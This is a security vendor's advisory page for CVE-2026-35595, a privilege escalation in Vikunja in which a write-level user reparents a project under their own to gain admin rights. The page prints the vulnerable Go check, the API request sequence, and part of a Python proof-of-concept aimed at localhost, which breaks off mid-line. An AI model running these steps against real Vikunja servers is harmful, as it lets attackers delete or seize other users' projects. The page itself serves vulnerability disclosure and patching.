Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35595 — vikunja

🟠 CVSS 8.3 — High ✅ No Known Exploit CWE-269 NVD
8.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja vulnerable to Privilege Escalation via Project Reparenting

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

```go

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {

newProject := &Project{ID: p.ParentProjectID}

can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin

if err != nil {

return false, err

}

if !can {

return false, ErrGenericForbidden{}

}

}

```

Proof of Concept

Tested on Vikunja v2.2.2.

```

1. victim creates "Parent Project" (id=3)

2. victim creates "Secret Child" (id=4) under Parent Project

3. victim shares Parent Project with attacker at Write level (permission=1)

-> attacker inherits Write on Secret Child (no direct share)

4. attacker creates own "Attacker Root" project (id=5)

5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden

6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}

-> 200 OK (reparenting succeeds, only requires Write)

7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK

-> Project deleted. victim gets 404.

```

```python

import requests

TARGET = "http://localhost:3456"

API = f"{TARGET}/api/v1"

def login(u, p):

return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):

return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

victim_token = login("victim", "Victim123!")

attacker_token = login("attacker", "Attacker123!")

# victim creates parent -> child project hierarchy

parent = requests.put(f"{API}/projects", headers=h(victim_token),

json={"title": "Parent Project"}).json()

child = requests.put(f"{A

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-35595 is classified as CWE-269: Improper Privilege Management. Privileges are assigned, dropped or restored incorrectly, leaving an actor with more access than intended.

Affected software

CVE-2026-35595 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 20 May 2026 and last revised on 8 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-269: Improper Privilege Management) in other software:

Details

Severity HIGH
CVSS Score 8.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
CWE CWE-269
Public Exploit ✅ No
Source NVD
Published 2026-05-20
Updated 2026-08-20
Modified 2026-06-08

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Site Security Check

Is vikunja part of your stack?

CVE-2026-35595 is rated CVSS 8.3 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026